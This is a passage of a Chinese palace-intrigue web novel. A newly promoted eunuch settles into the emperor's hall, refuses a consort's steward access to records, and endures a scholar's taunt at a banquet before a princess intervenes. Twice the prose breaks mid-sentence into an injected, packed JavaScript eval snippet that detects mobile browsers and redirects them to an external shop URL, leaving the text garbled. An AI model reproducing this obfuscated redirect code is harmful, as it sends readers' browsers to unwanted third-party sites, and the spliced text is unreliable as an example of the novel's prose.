孙得禄脸上的笑容淡了一瞬,那双细长的眼睛里飞快地掠过一丝难以辨别的神色,像是嘲弄,又像是了然,他慢条斯理地拂了拂自己的衣袖,“小离子公公,哦,现在该称你一声首领了。你如今是乾元殿的人,陛下亲口提拔的御前行走。承华宫那边,自有冯昭仪娘娘料理。你看这屋里,”他抬手,划了个半圈,“陛下体恤,一应物事都是最好的、最新的,比你原先那些,不知强出多少。那些旧物,依咱家看,就不必特意去取了吧?” 他顿了顿,语气更缓:“况且,陛下刚下了旨意,你即刻就是乾元殿的人了。这当口再回承华宫去,一来一去,惹人注目,怕是不太妥当。万一再碰上什么人,说些什么话……陛下知道了,怕是会不高兴。你说是不是这个理儿?” 关禧的心一点点沉下去。孙得禄的话,句句在理,句句为他着想,也堵死了他任何返回承华宫的念想。那不仅仅是不让他取东西,更是一种明确的切割,从现在起,他与承华宫,与冯昭仪,甚至与楚玉的那点微弱联系,都被这道晋升的旨意强行隔断了。他成了乾元殿一个突兀的新贵,一个被皇帝亲手从棋盘上提起,又随手放在另一个更显眼,也更危险格子的孤子。 他张了张嘴,喉咙干得发疼,最终只是低下头,哑声道:“孙副总管说的是,是小的思虑不周了。” 孙得禄这才重新露出那无可挑剔的微笑:“首领明白就好。今夜你先歇着,熟悉熟悉环境。明日一早,自会有人来带你熟悉乾元殿的规矩和差事。咱家就不打扰了。” 说完,他颔首,转身带着那两个小火者离开了,还体贴地替关禧带上了房门。 “咔哒。” 门关上的轻响在寂静的房间里格外清晰。 关禧缓缓走到床边坐下,手指摩挲着身下柔软厚实的新被褥,又拿起那块腰牌,指尖描摹着上面凹凸的刻字。 乾元殿行走。七品首领太监。 几个时辰前,他还是承华宫书斋一个战战兢兢,前途未卜的低等太监,揣测着君心,应付着同僚,恐惧着未来。几个时辰后,他一步登天,成了御前近侍,有了独立的房间,簇新的衣裳,象征权力的腰牌。 可为什么,他感觉不到丝毫喜悦,皇帝与太后的冲突因他而起,他成了那枚被用来示威的棋子。太后那双深沉锐利的眼睛,绝不会就此放过他。而这乾元殿,看似一步登天,实则龙潭虎穴,孙得禄那样的笑面人不知凡几。 承华宫……冯昭仪会怎么想?楚玉……她听到这道旨意时,脸上又会是什么表情?是松了口气,还是……也会有片刻的怔然? 他想回去,哪怕只是拿一件旧物,仿佛那样就能抓住一点过去的影子,证明自己并非全然飘零。 但现在,连这点微小的念想,也被轻飘飘地斩断了。 腰牌紧紧攥在手心,那坚硬的棱角硌得掌心生疼,他抬起头,环顾这间精致却陌生的耳房,窗外是沉沉的,属于乾元殿的夜色。 这里什么都有。 也什么都没有。 * 次日寅时三刻,天还墨黑着,门外便传来极轻的叩击声。 关禧本就睡得不沉,闻声立刻起身。开门,是两个面生的小火者,恭敬地垂着眼,一人捧着铜盆布巾,一人提着食盒。 “首领安,孙副总管吩咐,伺候您梳洗用膳。卯初便要领您去熟悉差事。”声音稚嫩,却一板一眼。 关禧默然让他们进来。水温正好,布巾柔软,早膳是细米粥,精巧的点心和两样清淡小菜,远胜过往日任何一餐。他吃得很快,味同嚼蜡。 卯初,天色仍是青灰,孙得禄准时出现在门口,脸上依旧是那副无懈可击的笑容。 “小离子首领,昨夜歇得可好?今日咱家先带你认认路,说说乾元殿的规矩。” 乾元殿占地广阔,远非承华宫可比。除去皇帝日常起居理政的正殿,暖阁,书房,还有诸多附属值房,库房,茶房,膳房,以及像关禧所居西配殿这样的侍从居所。孙得禄领着他,穿廊过院,低声讲解各处职能,何人管辖,何时当值,禁忌为何。沿途遇到的太监宫女,无论品阶高低,见到关禧,目光中都带着掩饰不住的打量,有些远远便驻足躬身,有些则面无表情地擦肩而过。 “御前行走,首要的是静字。”孙得禄在一处回廊下站定,指着不远处紧闭的殿门,“那是陛下日常处理政务的书房,非召不得入。你在外间伺候笔墨时,眼要亮,手要稳,脚要轻,呼吸都得敛着些。陛下不问,绝不可出声。陛下有吩咐,应答要清晰简练,万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069175|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可多言。” “其次,是独。乾元殿的差事,各司其职,各管一段。不该你看的文书不看,不该你听的话语不听,不该你传的消息,一个字也不许从你嘴里漏出去。与别处的人,尤其是后宫各宫的来往,需得谨慎再谨慎。陛下最厌烦的,便是身边的人胳膊肘往外拐,或是长了双到处乱看的眼睛。” 这话已是敲打。关禧垂首:“谢副总管提点,小的记下了。” “嗯。”孙得禄点点头,“你如今是七品首领,按理手下该有两三个小火者听用。不过你初来乍到,差事还未上手,咱家暂且替你管着。你先专心伺候好陛下书房笔墨典籍这一摊。陛下的习惯,喜欢用旧澄泥砚,墨要松烟墨,淡淡研磨,不可太稠。批阅奏章时,不喜人离得太近,约莫五步外候着便是。陛下若起身走动,你需留意地上有无障碍,桌上茶水温凉……” 他事无巨细,一一交代。关禧凝神记忆,他知道,这些细节,或许哪天就能救自己一命。 绕了一圈,最后回到书房外的一间值房。这里陈设简单,几张桌椅,几个书架,堆放着不少空白奏折,公文用纸,各类印鉴模板,以及一些等待归类整理的旧档典籍。 “你平日便在此处当值。陛下来书房时,会有人通传,你便进去伺候。陛下若不在此处,你便整理这些文书典籍,分门别类,誊录摘要。陛下有时会问起某年某月某事的旧档,须得立刻寻出。”孙得禄指着那些堆积的卷宗,“这些是近三个月未及整理的,你且先熟悉起来。” 关禧看着那几乎占满半面墙的卷宗,点了点头。 孙得禄走后,值房里只剩下关禧一人。他走到那堆卷宗前,随手抽出一册,是工部关于今春河道修浚的汇报副本,字迹工整,数据繁多。他定了定神,在书案后坐下,铺开纸笔,开始按照时间,部门,事由进行分类摘要。 工作琐碎耗神,却意外地让他暂时平静下来。笔尖划过纸面的沙沙声,卷宗特有的陈旧墨香,将他与外界那些审视的目光和暗涌的危机隔开片刻。 晌午时分,有小火者送来午膳,两菜一汤,一碗白饭,精致。关禧匆匆用完,继续埋首案牍。 午后,书房那边传来动静,皇帝驾临。 关禧立刻搁笔,整理衣冠,快步走到书房外,垂首侍立。通传后,他低着头走进去,在那张酸枝木小几旁跪下,开始研磨。 萧衍今日格外沉默,眉宇间带着一丝倦色,批阅奏章的速度很快,笔下朱批凌厉。整个下午,他没有看关禧一眼,没有说一句话,甚至没有像昨日那般让他烹茶。书房内气压低沉,只有翻阅纸张和朱笔划过的声音。 关禧更不敢有丝毫怠慢,手腕稳定地动作着,呼吸都放到最轻。直到申时末,萧衍搁下笔,揉了揉眉心,起身离开了书房,未曾看他。 关禧默默收拾好砚台笔墨,退回到值房。 接下来的几日,皆是如此。萧衍每日都会来书房处理政务,关禧按时进去研墨伺候,皇帝多半沉默,偶尔吩咐一句“换茶”或“取某年某地税赋档案”,关禧便依言行事,应答简洁,动作利落。他们之间,似乎只剩下最单纯的君臣主仆关系,那夜永寿宫带着怒意的提拔,和更早之前乾元殿里诡异的贴近,都像是一场幻觉。 关禧乐得如此。他白天在值房整理那些卷宗,皇帝来时便进去做个安静的背景,夜晚回到那间耳房,对着四壁陌生的奢华发呆。孙得禄偶尔会过来看一眼,问几句差事可还顺手,态度客气而疏远。其他太监宫女,面上恭敬,私下里的窃窃私语和探究目光却从未停止。他就像一颗被投入深潭的石子,激起一圈涟漪后,迅速沉入一片看似平静的孤立之中。 这大概就是御前行走的日常了。没有想象中的步步惊心,也没有预料的荣宠加身,只有日复一日的琐碎寂静和无处不在的审视。关禧甚至开始觉得,或许这样也好,像个真正的工具,被使用,被放置,不起眼,或许就能活得长久些。 直到这日午后。 他正在值房里核对一批新送来的空白告身用纸数目,门外忽然传来一阵略显急促的脚步声,还夹杂着低低的争执。 “李公公,您不能进去,孙副总管吩咐过,此处文书重地,闲杂人等……” “滚开!咱家奉的是玉芙宫徐昭容娘娘的口谕!前来查问一桩旧例!耽误了娘娘的事,你担待得起吗?” 玉芙宫?徐昭容? 关禧心头一跳,搁下手中的纸笔。 53.第 54 章 值房的门已被推开,一个穿着黛蓝色首领太监服色,面皮白净,眉眼带着几分刻薄骄矜的中年太监,领着两个小太监,径直闯了进来。守在门口的小火者拦之不及,一脸惶急。 那黛蓝服色的太监目光在值房内一扫,便精准地落在了关禧身上,上下打量一番,嘴角扯开一个不算友善的弧度:“哟,这位便是新晋的小离子首领吧?果然生得一表人才,难怪能得陛下青眼。” 关禧站起身:“不知这位公公是?” “咱家姓李,在玉芙宫当差,蒙徐昭容娘娘抬爱,管着宫里一应杂务。”李公公大剌剌地走近几步,目光扫过关禧面前摊开的纸张和卷宗,“小离子首领真是勤勉,这才刚来几天,就埋首在这些故纸堆里了。” “分内之事。”关禧语气平淡,“不知李公公前来,所为何事?此处是乾元殿书房重地,存放多是政务文书,按例,后宫之人不得擅查。” 李公公脸色一沉,随即又笑道:“小离子首领果然是个懂规矩的。不过嘛,规矩是死的,人是活的。咱家今日来,是为徐昭容娘娘查一桩旧例。娘娘如今怀有龙嗣,陛下和太后都嘱咐要好生将养。娘娘想起去年此时,陛下曾赏过一批江南进贡的软烟罗,做帐子最是透气安神。娘娘想知道,当时是走的哪处库房,经由谁手记录,今年是否还有类似的料子进上,也好依例请赏。” “听说小离子首领如今掌管乾元殿书房典籍文书,这类赏赐记录,理应归你整理调阅。烦请首领行个方便,找出永昌四年秋,陛下赏赐后宫各宫物品的明细档,让咱家抄录了那软烟罗一项,回去也好向娘娘复命。” 关禧心中冷笑。查旧例是假,借故窥探乾元殿文书规制,乃至借机敲打,试探他这个新晋的陛下眼前人,才是真。徐昭容的手,伸得可真长。 “李公公,”关禧抬起眼,目光平静,“你所说的赏赐记录,确有其事。不过,此类档册,皆按年份、事由封存,调阅需有陛下手谕或总管太监批条。我职责所在,不敢擅专。不如请李公公回明徐昭容娘娘,由娘娘禀明陛下或太后,下了明旨,我再行查找,如何?” 李公公的脸色彻底冷了下来:“小离子首领,你这是要拿陛下和宫规来压咱家,压昭容娘娘了?娘娘如今怀着龙种,身子金贵,想找点旧年料子的记录安稳心神,这般小事,也要惊动陛下?你才来几天,就这般不懂变通,莫非是觉得攀上了高枝儿,连玉芙宫也不放在眼里了?” 话越说越重,扣的帽子也越大。旁边的小火者吓得脸都白了。 关禧神色不变,“李公公言重了。宫规如山,我只是依规行事。徐昭容娘娘身体安康乃重中之重,若真需此记录,想必陛下和太后娘娘定会体恤。若无明旨,我今日若私自调阅,他日追究起来,我受罚事小,若是连累了玉芙宫,说娘娘身边人不懂规矩,擅闯御前重地,强索文书,那我真是万死难辞其咎了。” 他这话,软中带硬,既搬出宫规,又把可能的后果引向了玉芙宫不懂规矩,将李公公的咄咄逼人挡了回去,还隐隐点出擅闯御前重地的错处。 李公公盯着关禧,眼中厉色闪动,显然没料到这个看起来漂亮得过分的少年太监,竟如此油盐不进,且句句在理,让人抓不住把柄。他今日前来,本就是奉了徐昭容之命,一来试探这新得宠的小太监深浅,二来看看能否捞点乾元殿的消息,三来也是给承华宫出身的他一个下马威。没想到,竟碰了个不软不硬的钉子。 正僵持间,值房外又传来脚步声,孙得禄慢悠悠地走了进来。 “哟,李公公?什么风把你吹到咱们这满是墨臭的书房值房来了?”孙得禄笑容可掬,目光在关禧和李公公之间转了一圈。 李公公见到孙得禄,气势稍稍收敛,但语气仍硬:“孙副总管来得正好。咱家奉徐昭容娘娘口谕,来查一桩旧例,你们这位新来的小离子首领,可是铁面无私,非要什么陛下手谕不可。咱家倒要问问,这乾元殿的规矩,如今是不是大到连后宫主子的吩咐都不管用了?” 孙得禄“哎呦”一声,连忙摆手:“李公公这是哪里话!规矩自然是规矩,但事急从权嘛。”他转向关禧,脸上带着责备,“小离子,李公公是玉芙宫的管事,徐昭容娘娘如今有孕,尊贵无比,她要查点旧例,行个方便也是应当。你初来乍到,不懂这些情理,也是有的。” 关禧垂首不语。 孙得禄又对李公公笑道:“不过李公公,小离子的话,倒也不全错。这赏赐记录,确实需有章程。你看这样如何,你先回去,将徐昭容娘娘所需告知咱家,咱家禀过陛下或记录在案,再按规矩调出那份档册,亲自抄录了你要的那一项,派人给你送到玉芙宫去。既全了规矩,也不耽误娘娘的事。如何?” 李公公知道今日是讨不到好了。孙得禄看似打圆场,实则还是把规矩摆在了前面,而且亲自经手,绝不会让他碰到原始档册。他冷哼一声,剜了关禧一眼:“孙副总管既然这么说,咱家就给您这个面子。但愿这小离子首领,日后在御前行走,也能这般恪尽职守才好!我们走!” 说罢,拂袖而去。 待玉芙宫的人走远,孙得禄脸上的笑容淡了下来,他看向关禧,细长的眼睛里没什么情绪:“你做得对。在这地方,守规矩比讨好任何人都有用。尤其是,”他压低声音,“玉芙宫的人。” 关禧躬身:“谢副总管教诲。” 孙得禄点点头:“不过,今日这事,怕只是个开始。徐昭容娘娘的性子……你心里有数就好。继续忙你的吧。”说完,他也转身离开了值房。 值房内重新恢复寂静。 关禧坐回椅中,看着面前尚未核对完的纸张,叹了口气。 看吧,这就是御前行走的日常。琐碎,寂静,孤立……以及,不知何时会从哪个角落射来的冷箭。 他低头,重新拿起笔,蘸了墨,在纸上落下工整的字迹,一笔一划,将心底那丝被玉芙宫来人所勾起的波澜,强行压回规整的墨线之后。 日子在笔尖与卷宗的摩擦声中,又滑过几日。 乾元殿的气氛依旧沉闷,萧衍每日来书房的时间愈发固定,停留的时间却越来越长,眉宇间的郁色也日渐深重。 直到这日清晨,孙得禄来到值房,脸上带着比往日更正式些的神色。 “小离子首领,今日不必整理这些了。去换身簇新的常服,陛下巳时初刻起驾琼林苑,你随侍。” 琼林苑宴。 关禧执笔的手一顿。这个词瞬间勾起了记忆,那日皇帝对桑连云说,“过几日琼林苑宴,让你也去”。没想到,这么快就到了。而自己,竟也要以这种身份列席。 他依言回到西配殿耳房,打开衣柜。里面除了那套靛蓝公服和鸦青常服,又多了一套。料子是雨过天青色杭绸,颜色清浅柔和,比鸦青色更显年少,却因质地极佳,光泽内蕴,并不显得轻浮。领口,袖缘用同色丝线绣着极细密的云水暗纹,若不细看几乎无法察觉。这显然不是首领太监的规制常服,更像是一种……体面的赏赐,或者某种刻意的装扮。 关禧没有选择,换上这套天青色的衣裳。铜镜中,那清浅的颜色果然极衬他肤色,将连日来的苍白都映出了几分润泽,眉眼间的沉静被柔化,显出几分的隽秀。他看了片刻,垂下眼,将代表身份的七品腰牌系在腰间。 巳时初,御驾自乾元殿起行。仪仗比往日更盛,旌旗招展,侍卫林立。萧衍今日未乘步辇,改坐一驾更为宽敞华丽的御辇,明黄帷幔低垂。关禧的位置被安排在御辇侧后方不远,与孙得禄等几位高阶太监并列。 队伍浩浩荡荡穿过重重宫门,出了内廷,转向西苑。琼林苑位于皇城西侧,是本朝专为宴请新科进士所设的皇家园林,平日里也常作皇室游宴之所。 初冬的园林,别有一番萧疏开阔的气象。远处山峦轮廓清晰,近处湖面泛着清冷的波光,落叶乔木枝干遒劲,偶有松柏点缀其间。沿途宫灯与彩绸装饰已然悬挂,为这清寂景致添上几分喜庆。 宴设于琼林苑中心最大的撷芳殿。殿宇轩敞,四面开窗,此时窗扉大开,以厚重的锦帘挡风,内里暖意融融。殿内早已布置妥当,上首设御座,其下左右分列案几,锦垫铺陈。左侧为宗室勋贵,新科进士席位,右侧则为后宫妃嫔与女眷。此刻殿内已是人影憧憧,低声交谈与环佩轻响混成一片嗡嗡的背景音。 御驾至,殿内外瞬间寂静,所有人离席跪迎。 萧衍下了御辇,稳步走入殿中。他今日穿着一身明皇色常服,玉冠束发,比平日少了几分朝堂上的冷厉。 关禧垂首跟在孙得禄之后,随其他侍从悄然步入殿内,在御座后方靠柱的阴影处站定。这个位置既能随时听候吩咐,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073610|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不至于过于引人注目。 然而,当他那身天青色的身影出现在御座之后时,许多道目光便若有若无地飘了过来。 “平身。”萧衍的声音在殿中响起,众人谢恩落座。 关禧眼观鼻鼻观心,视线落在前方御座鎏金的扶手上,能清晰地感觉到那些目光的打量。 左侧新科进士的席列中,一道隐含审视的目光尤为明显,是桑连云。他今日穿着崭新的青色进士常服,头戴黑色幞头,在一众同样装扮的新科进士中,气质卓然,如鹤立鸡群。他显然也看到了关禧,目光在那身刺眼的天青色上停留了一瞬,嘴角向下弯了弯,随即转开。 右侧妃嫔席列,为首的是皇后柳心溪,她今日穿着明黄色凤纹礼服,端庄持重,脸上带着恰到好处的雍容微笑。其下便是几位高阶嫔妃。冯媛坐在皇后下首不远,穿着一身藕荷色织锦宫装,外罩银狐皮坎肩,发髻轻绾,只簪了几支珍珠簪子,清丽温婉依旧,正侧首与身旁一位妃嫔低声说着什么。 冯媛身旁稍后,便是徐昭容徐宛白。她今日打扮得格外鲜亮,一身石榴红遍地金宫装,衬得肤色白皙,腹部已有明显隆起,脸上带着毫不掩饰的骄矜,目光流转间,顾盼生辉,偶尔扫过御座方向,眼神深处藏着几分不易察觉的阴郁。 太后并未亲至,但关禧能感觉到,这殿内无处不在她的影子。无论是皇后端庄下的一丝紧绷,还是徐昭容骄纵中的那点谨慎,亦或是其他妃嫔们言笑晏晏下的目光闪烁,都昭示着永寿宫那位的无形掌控。 乐声起,宫宴正式开始。宫女太监们如流水般奉上珍馐美馔,琼浆玉液。殿内气氛逐渐热络,新科进士们轮番上前向皇帝敬酒,颂圣谢恩,吟诗作对,展现才学。萧衍坐在御座上,面带微笑,时而举杯,时而点评几句,颇有君臣相得之象。 酒过三巡,气氛愈酣。 萧衍放下酒杯,目光投向左侧席列,朗声道:“今日琼林盛宴,诸位爱卿才思敏捷,朕心甚悦。听闻今科状元郎桑连云,不仅文章锦绣,于琴艺一道亦有高妙造诣。不知今日可否有幸,一闻桑卿雅奏?” 皇帝点名,桑连云立刻起身离席,行至御前空地,躬身道:“微臣雕虫小技,蒙陛下垂询,敢不从命。只是,”他目光似无意地扫过关禧所在的方向,唇角噙着一丝清浅笑意,“独奏未免单调。微臣斗胆,闻听宫中藏龙卧虎,陛下身边更是人才济济。恰才见一位小公公侍立御后,气度清华,想必亦是雅擅音律之人。不知可否请这位公公与微臣合奏一曲,以助陛下雅兴,亦为琼林宴添一段佳话?” 此言一出,殿内一静。 无数道目光瞬间聚焦在关禧身上。新科状元,竟主动邀一个太监合奏?这看似抬举,实则将关禧骤然推至风口浪尖。奏得好,是状元提携,奏得不好或不会,便是当众出丑,更坐实了空有皮囊,内里草莽之名。 冯媛执箸的手顿了一下,眼帘微垂。徐宛白则挑了挑眉,眼中闪过一丝看好戏的讥诮。 萧衍脸上笑容不变,目光转向身后的关禧,语气听不出情绪:“小离子,桑状元盛情相邀,你可愿一试?” 关禧只觉得那些目光像针一样扎在身上。他哪里会什么音律?原主小离子出身贫寒,入宫后学的尽是伺候人的规矩,音律歌舞那是高级太监或伶人的技艺。桑连云此举,分明是记着前次在御前被拂了面子,借机发难。 他深吸一口气,出列,走到桑连云身侧稍后的位置,跪下:“回陛下,奴才卑贱,只略识得几个字,于音律一道实乃一窍不通,不敢污了陛下与诸位大人的清听,更不敢耽误桑状元雅奏。” 他直接认怂,将姿态放到最低。这是最稳妥的应对。 桑连云早有所料,轻轻一笑,状似惋惜:“原来如此。倒是微臣唐突了。只是微臣观这位小公公风仪出众,还以为必是风雅之辈。可惜,可惜。”他连叹两声,惋惜是假,踩低是真。 殿内已有低低的嗤笑声传来,多是来自左侧年轻气盛的进士席间。右侧妃嫔中,也有人以帕掩口,眼含讥笑。 关禧跪在地上,垂着头,指甲深深掐进掌心。屈辱感如潮水般涌上,又被他死死按捺。不能动气,不能失态。 就在此时,一个清脆娇憨的女声忽然从右侧妃嫔席后方的女眷区传来: “桑状元此言,未免有些偏颇了!” 54.第 55 章 众人循声望去,只见一位身穿桃红色宫装,梳着双环髻,年约十四五岁的少女站起身来。她生得明眸皓齿,脸颊圆润,眉眼灵动,通身带着被娇养出的贵气,也透着一股与这宫廷宴席氛围稍显游离的鲜活。 正是先帝幼女,萧憬,今上名义上的妹妹,封号安宁,她生母是一位早逝的低阶嫔妃,母族不显,自幼长在宫中,性情活泼,又因着公主身份,倒也颇得几分表面上的疼爱。 萧憬走到御前,先向萧衍行了礼,然后转向桑连云,下巴微扬:“桑状元是以音律取人么?本公主却觉得,这位小公公方才应答得体,自知不足便坦然承认,比起那些不懂装懂、附庸风雅之辈,岂不更加率真诚实?何况,皇兄身边的人,自然是以忠心勤谨为要,难道个个都要去学那伶人乐工的本事不成?” 她这话噼里啪啦,又快又脆,既驳了桑连云,隐隐也将那些嗤笑之人骂了进去,更抬出了忠心勤谨的大帽子。 殿内一时无人敢应声,毕竟开口的是位公主。 桑连云没料到萧憬会突然出面维护一个小太监,脸上笑容微僵,连忙躬身:“公主殿下所言甚是,是微臣思虑不周,失言了。” 萧衍看着自己这位名义上的妹妹,眼中掠过一丝几不可察的审视,随即化为表面的温和,摆摆手:“安宁,不可对状元郎无礼。桑卿也是一片好意。”他又看向仍跪着的关禧,“罢了,既不通音律,便退下吧。” “谢陛下,谢公主殿下。”关禧叩首,起身,退回到柱子后的阴影里,背脊挺直,心中因安宁公主这突如其来的解围而掀起波澜,这位公主……为何要帮他?是真的看不惯桑连云刁难?还是…… 经此一扰,宴会气氛略显微妙。桑连云独奏了一曲《春江花月夜》,琴技确实高超,意境悠远,赢得了满堂彩,方才那点小小的不愉快似乎也被琴声盖过。 曲毕,萧衍赐酒。桑连云谢恩饮罢,退回座位时,目光再次掠过阴影中的关禧,这次带上了几分不解,萧憬为何会替他出头? 宴至中途,帝后与几位高阶妃嫔离席,前往偏殿更衣歇息。殿内气氛顿时松弛不少,新科进士们相互酬酢,谈笑风生,女眷们也低声交谈起来。 关禧站在原地,尽量降低存在感。然而,萧憬却带着一名宫女,径直朝他走了过来。 她在他面前站定,仰着脸打量他,目光里好奇多于恶意,“你叫小离子?” 关禧躬身:“回公主殿下,奴才贱名。” “嗯。”萧憬点了点头,目光在他脸上逡巡,忽然凑近了些,用只有两人能听到的声音说,“刚才桑状元让你出丑,你心里是不是挺恼火的?我看你手捏得紧紧的。” 关禧面上越发恭敬:“奴才不敢。殿下为奴才解围,奴才感激不尽。” “感激倒不必。”萧憬摆了摆手,眼神变得有些意味深长,“本公主只是觉得,在这宫里,多个朋友,总比多个敌人强。你说是不是?”她顿了顿,目光扫过关禧腰间那块代表乾元殿行走的腰牌,嘴角弯起一个俏皮的弧度,“你如今在皇兄身边伺候,消息最是灵通。以后若有什么有趣的新鲜事,或者……听说皇兄有什么特别喜欢或烦恼的,不妨也跟我说说?我在宫里闷得慌,就爱听这些。” 她这话说得半真半假,像是少女单纯的求知欲,又隐隐透出某种打探的意图。关禧立刻明白,这位公主并非表面看上去那般天真烂漫。她帮他解围,或许是出于一时意气,但更多的,恐怕是想在他这个新晋的御前红人身边,埋下一颗可能的棋子,或至少结个善缘。 一个无强大母族依仗的公主,在深宫之中,日子未必好过。她需要信息,需要把握风向,甚至需要寻找可能的盟友或借力之处。皇帝身边一个新得脸的小太监,无疑是个不错的观察窗口和潜在的联系节点。 “公主殿下说笑了。”关禧垂首,语气更加谨慎,“奴才愚钝,只知埋头当差,伺候好陛下是唯一本分。陛下天心难测,奴才岂敢妄加揣度,更不敢私下传递消息。望公主殿□□谅。” 这是明确的拒绝和划清界限。萧憬脸上的笑容淡了些,看了他片刻,轻轻哼了一声:“你倒是谨慎。罢了,就当本公主没说过。”她转身欲走,又回头留下一句,语气恢复了那种娇蛮,“不过,你记着,今日好歹是本公主帮你说了话。在这宫里,人情债,可是要还的。” 说完,她带着宫女,翩然离去。 关禧望着她的背影,心情复杂。这位安宁公主,年纪虽小,却已深谙宫中生存之道,懂得审时度势,甚至主动出击。她今日之举,既卖了个人情,也做了试探。而自己,在拒绝的同时,也无形中欠下了一笔债。 未及深思,帝后等人已更衣返回。宴会继续。 又一轮敬酒后,徐昭容忽然以手掩口,轻咳了几声,脸上露出些许不适之色。她身旁的宫女连忙上前伺候。 柳心溪关切地问道:“徐昭容可是身子不适?要不要传太医来看看?” 徐宛白勉强笑了笑,抚着腹部:“谢皇后娘娘关怀,只是方才饮了半杯果酒,许是有些不适。并无大碍,歇息片刻就好。” 萧衍看了她一眼,淡淡道:“既有不适,便早些回去歇着吧。玉芙宫的人呢?好生送你们娘娘回宫。” 徐宛白眼中飞快地闪过一丝不甘,但皇帝发话,她只得起身谢恩,在宫人搀扶下,仪态款款地离席而去。经过御座时,她的目光似不经意地扫过关禧。 关禧垂眸,避开她的视线。 徐昭容的离席像是一个信号,宴会又持续了约莫半个时辰,便在一片祥和的氛围中接近尾声。萧衍起身,说了几句勉励新科进士,共扶社稷的话,便宣布散宴。 众人跪送圣驾。 关禧垂首跟在仪仗末尾,随着人流缓缓退出撷芳殿。 殿外暮色已合,宫灯次第亮起,在渐浓的夜色中晕开一团团暖黄的光晕。琼林苑的风比宫内更利,卷着残留的落叶,打着旋儿扑在人脸上,带着湖边特有的湿冷。 关禧随着前面太监的脚步,走在回乾元殿队伍的中后段,周围是散宴后各自回宫的队伍,低声的交谈,环佩的轻响,轿辇的吱呀声混在晚风里,影影绰绰。 御驾在前,威仪赫赫,其后跟着皇后,高阶妃嫔的仪仗,再后才是他们这些随侍的太监宫女,以及今日与宴的宗室,新科进士们,彼此间隔着不远不近的距离,维持着宫规要求的秩序。 关禧的目光,一直落在自己前方三步远的地面上,青石板路的缝隙里积着尘土和枯叶碎屑。可他的眼角余光,却像有了自己的意识,不受控制地,一遍遍扫过右前方不远处,那簇属于承华宫较为简素的行列。 冯媛的轿辇走在稍前,隔着纱帷,只能看见一个端庄的侧影轮廓。而在轿辇侧后方,跟着几个宫女太监,其中一道淡青色的身影,挺直清瘦,步伐稳定,行走间裙裾微动,一丝多余的声音也无。 是楚玉。 其实,从进入撷芳殿,在御座后站定的那一刻起,关禧就看见她了。她一直安静地侍立在冯媛身后偏左的位置,微微垂首,侧脸在殿内辉煌的灯火下显得模糊。整个宴席期间,她不曾向御座方向投来过一次明确的目光,无论是桑连云发难时,还是安宁公主出面解围时,她都仿佛只是这盛大宴席背景里一道固定的,无关紧要的剪影。 关禧投向那个方向的视线,是克制的,他们之间隔着喧闹的宴席,隔着身份的天堑,更隔着那夜决裂的冰冷话语和之后刻意维持,心照不宣的距离。 此刻,散宴离场,人群流动,距离反而更近了些。 关禧甚至能看清她今日穿的是一身怎样的淡青色宫装,比往常那套颜色稍深,料子也更厚实些,领口和袖缘绣着极细的银线云纹,在宫灯下偶尔闪过一丝微弱的光,她的发髻梳得一丝不苟,侧面簪着一支素银簪子,再无多余饰物。 可楚玉依旧没有看他。她的视线落在前方冯媛轿辇的某一角,又似乎只是放空地望着远处宫道尽头沉沉的夜色,她的侧脸在移动的光影中明明灭灭,下颌的线条绷得有些紧。 关禧也迅速收回目光,重新聚焦于脚下。心脏在胸腔里沉闷地跳动着,每一下都牵扯着某种难以言喻的钝痛。方才宴席上桑连云的刁难,众人的嗤笑,安宁公主别有深意的人情,皇帝莫测的态度……所有这些堆积的压力和屈辱,在看到她背影的这一刻,竟发酵成一股强烈想要靠近一点的冲动。 哪怕不说一句话,哪怕只是短暂地,在无人察觉的阴影里,交换一个眼神。 但他知道不能。这里是琼林苑通往内廷的宫道,前后左右都是眼睛。他只是乾元殿一个风口浪尖上的七品首领太监,而她是承华宫昭仪的心腹宫女。 任何超出规矩的接触,都足以成为新的把柄。 队伍前行。 承华宫的队伍在他们右前方,隔着大约七八步的距离,并行了一段宫道。在一个岔路口,前往承华宫的方向与他们回乾元殿的队伍需要分开。 就在转弯的瞬间,楚玉侧了一下头,目光极快地扫过关禧所在的方向。 关禧的心猛地一跳,几乎要抬起眼迎上去。 但那目光太快了,快得像是错觉,快得他甚至无法确定那是否真的看向自己,抑或只是她随意地观察周围环境。等他再凝神时,只看到她随着承华宫队伍转向毫不犹豫的背影,淡青色的衣角在拐角处一闪,便没入了另一条宫道的阴影里,彻底消失在视线之外。 仿佛刚才那若有似无的一瞥,只是他疲惫紧绷的神经产生的幻觉。 关禧站在原地,脚步顿了一瞬,才重新跟上前面的人。心底那点刚刚升腾起的微弱热度,迅速被灌满衣襟的冷风吹得冰凉。 “快些,别掉队。”前面一个太监低声催促。 关禧加快了脚步,不再回头。 * 回到乾元殿西配殿那间名为静尘的耳房,已是亥初。 关禧脱下那身惹眼的天青色杭绸外袍,换上平日那套鸦青色的常服,他坐在书案前,看着跳跃的灯焰,有些出神。 琼林苑宴上的一幕幕在脑中回放。桑连云刻意的羞辱,安宁公主突兀的援手与暗示,徐昭容离席时那意味深长的一瞥,还有……楚玉始终未曾交汇的视线,和最后那个快得无法确认的侧首。 每一桩,都像一根细线,缠绕上来,将他捆缚得更紧。 